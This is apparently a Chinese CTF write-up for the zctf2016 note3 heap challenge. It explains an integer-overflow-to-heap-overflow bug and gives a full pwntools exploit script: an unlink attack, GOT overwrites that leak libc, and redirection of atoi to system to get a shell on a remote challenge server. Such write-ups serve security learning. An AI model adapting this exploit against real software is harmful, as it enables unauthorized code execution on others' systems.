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zctf2016-note3

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首先检查一下程序的保护机制

然后用IDA分析一下,edit里存在一个整数溢出导致堆溢出的漏洞。当输入为0x8000000000000000时，即可使得index为-1，由于输入的长度不够，因此将0x8000000000000000转为负数的形式输入进去即可。然后就是正常的unlink了。

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#coding:utf8
from pwn import *

#sh = process('./zctf_2016_note3')
sh = remote('node3.buuoj.cn',29603)
elf = ELF('./zctf_2016_note3')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
heap_0_ptr_addr = 0x00000000006020C8

def add(size,content):
   sh.sendlineafter('option--->>','1')
   sh.sendlineafter('(less than 1024)',str(size))
   sh.sendafter('content:',content[0:size-1])

def edit(index,content):
   sh.sendlineafter('option--->>','3')
   sh.sendlineafter('Input the id of the note:',str(index))
   sh.sendafter('Input the new content:',content)

def delete(index):
   sh.sendlineafter('option--->>','4')
   sh.sendlineafter('Input the id of the note:',str(index))

#0
add(0x100,'a'*0x100)
#1
add(0x100,'b'*0x100)
#2
add(0x10,'c'*0x10)
#3
add(0x10,'c'*0x10)
#4
add(0x10,'c'*0x10)
#5
add(0x10,'c'*0x10)
#6
add(0x10,'c'*0x10)
#让heaps[-1]为heaps[0]
delete(0)
add(0x100,'a'*0x100)
#现在，通过让index为-1，就可以溢出chunk0
payload = p64(0) + p64(0x101)
payload += p64(heap_0_ptr_addr - 0x18) + p64(heap_0_ptr_addr - 0x10)
payload = payload.ljust(0x100,'a')
payload += p64(0x100) + p64(0x110)
payload += '\n'
edit(0x8000000000000000 - 0x10000000000000000,payload)
#unlink
delete(1)
payload = p64(0) * 3 + p64(free_got) + p64(atoi_got) *2
payload = payload.ljust(80,'\x00')
payload += p64(0x8)*3
edit(0,p64(0) * 3 + p64(free_got) + p64(atoi_got) *2 + '\n')
#修改free的got表为puts的plt表
edit(0,p64(puts_plt)[0:7] + '\n')
#泄露atoi地址
delete(1)
sh.recvuntil('\n')
atoi_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改atoi的got表为system地址
edit(2,p64(system_addr)[0:7] + '\n')
#getshell
sh.sendlineafter('option--->>','/bin/sh\x00')

sh.interactive()